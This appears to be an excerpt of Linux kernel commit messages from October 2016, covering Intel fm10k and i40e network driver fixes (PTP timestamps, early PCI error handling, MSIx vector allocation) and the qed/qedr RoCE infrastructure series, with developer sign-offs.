Fixes: 22f2ac51b6 ("mm: workingset: fix crash in shadow node shrinker caused by replace_page_cache_page()")
Cc: Johannes Weiner <hannes@cmpxchg.org>
Cc: Miklos Szeredi <miklos@szeredi.hu>
Cc: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Jeff Kirsher says:
====================
100GbE Intel Wired LAN Driver Updates 2016-10-02
This series contains updates to fm10k only.
Jake fixes an issue where PTP applications requesting software timestamps
may complain that the requested mode is not supported, so add a generic
callback for those drivers that have software transmit timestamp support
enabled. Then provides a trivial cleanup where a code was not wrapped
properly. Got make sure that code looks good in a 80 character limit.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>
Although rare, it's possible to hit PCI error early on device
probe, meaning possibly some structs are not entirely initialized,
and some might even be completely uninitialized, leading to NULL
pointer dereference.
The i40e driver currently presents a "bad" behavior if device hits
such early PCI error: firstly, the struct i40e_pf might not be
attached to pci_dev yet, leading to a NULL pointer dereference on
access to pf->state.
Even checking if the struct is NULL and avoiding the access in that
case isn't enough, since the driver cannot recover from PCI error
that early; in our experiments we saw multiple failures on kernel
log, like:
[549.664] i40e 0007:01:00.1: Initial pf_reset failed: -15
[549.664] i40e: probe of 0007:01:00.1 failed with error -15
[...]
[871.644] i40e 0007:01:00.1: The driver for the device stopped because the
device firmware failed to init. Try updating your NVM image.
[871.644] i40e: probe of 0007:01:00.1 failed with error -32
[...]
[872.516] i40e 0007:01:00.0: ARQ: Unknown event 0x0000 ignored
Between the first probe failure (error -15) and the second (error -32)
another PCI error happened due to the first bad probe. Also, driver
started to flood console with those ARQ event messages.
This patch will prevent these issues by allowing error recovery
mechanism to remove the failed device from the system instead of
trying to recover from early PCI errors during device probe.
CC: <stable@vger.kernel.org>
Signed-off-by: Guilherme G Piccoli <gpiccoli@linux.vnet.ibm.com>
Acked-by: Jacob Keller <jacob.e.keller@intel.com>
Tested-by: Andrew Bowers <andrewx.bowers@intel.com>
Signed-off-by: Jeff Kirsher <jeffrey.t.kirsher@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Jeff Kirsher says:
====================
40GbE Intel Wired LAN Driver Updates 2016-10-03
This series contains fixes to i40e only.
Stefan Assmann provides the changes in this series to resolve an issue
where when we run out of MSIx vectors, iWARP gets disabled automatically.
First adds a check for "no vectors left" during MSIx vector allocation
for VMDq, which will prevent more vectors being allocated than available.
Then fixed the MSIx vector redistribution when we reach the hardware limit
for vectors so that additional features like VMDq, iWARP, etc do not get
starved for vectors because the PF is hogging all the resources. Lastly,
fix the issue for flow director by moving the check for the reaching the
vector limit earlier in the code so that a decision can be made on
disabling flow director.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>
Yuval Mintz says:
====================
qed*: Add qedr infrastructure support
In the last couple of weeks we've been sending RFCs for the qedr
driver - the RoCE driver for QLogic FastLinQ 4xxxx line of adapters.
Latest RFC can be found at [1].
At Doug's advice [2], we've decided to split the series into two:
- first part contains the qed backbone that's necessary for all the
configurations relating to the qedr driver, as well as the qede
infrastructure that is used for communication between the qedr and qede.
- Second part consists of the actual qedr driver and introduces almost
no changes to qed/qede.
This is the first of said two parts. The second half would be sent
later this week.
The only 'oddity' in the devision are the Kconfig options -
As this series introduces both LL2 and QEDR-based logic in qed/qede,
I wanted to add the CONFIG_INFINIBAND_QEDR option here [with default n].
Otherwise, a lot of the code introduced would be dead-code [won't even
be compiled] until qedr is accepted.
As a result I've placed the config option in an odd place - under
qlogic's Kconfig. The second series would then remove that option
and add it in its correct place under the infiniband Kconfig.
[I'm fine with pushing it there to begin with, but I didn't want to
'contaminate' non-qlogic configuration files with half-baked options].
Dave - I don't think you were E-mailed with Doug's suggestion.
I think the notion was to have the two halves accepted side-by-side,
but actually the first has no dependency issues, so it's also
possible to simply take this first to net-next, and push the qedr
into rdma once it's merged. But it's basically up to you and Doug;
We'd align with whatever suits you best.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>
Add the RoCE-specific LL2 logic [as well as GSI support] over
the 'generic' LL2 interface.
Signed-off-by: Ram Amrani <Ram.Amrani@caviumnetworks.com>
Signed-off-by: Yuval Mintz <Yuval.Mintz@caviumnetworks.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Add slowpath configuration support for user, dma and memory
regions registration.
Signed-off-by: Ram Amrani <Ram.Amrani@caviumnetworks.com>
Signed-off-by: Yuval Mintz <Yuval.Mintz@caviumnetworks.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Add support for the slowpath configurations of Queue Pair verbs
which adds, deletes, modifies and queries Queue Pairs.
Signed-off-by: Ram Amrani <Ram.Amrani@caviumnetworks.com>
Signed-off-by: Yuval Mintz <Yuval.Mintz@caviumnetworks.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Add support for the configurations of the protection domain and
completion queues.
Signed-off-by: Ram Amrani <Ram.Amrani@caviumnetworks.com>
Signed-off-by: Yuval Mintz <Yuval.Mintz@caviumnetworks.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Linus Torvalds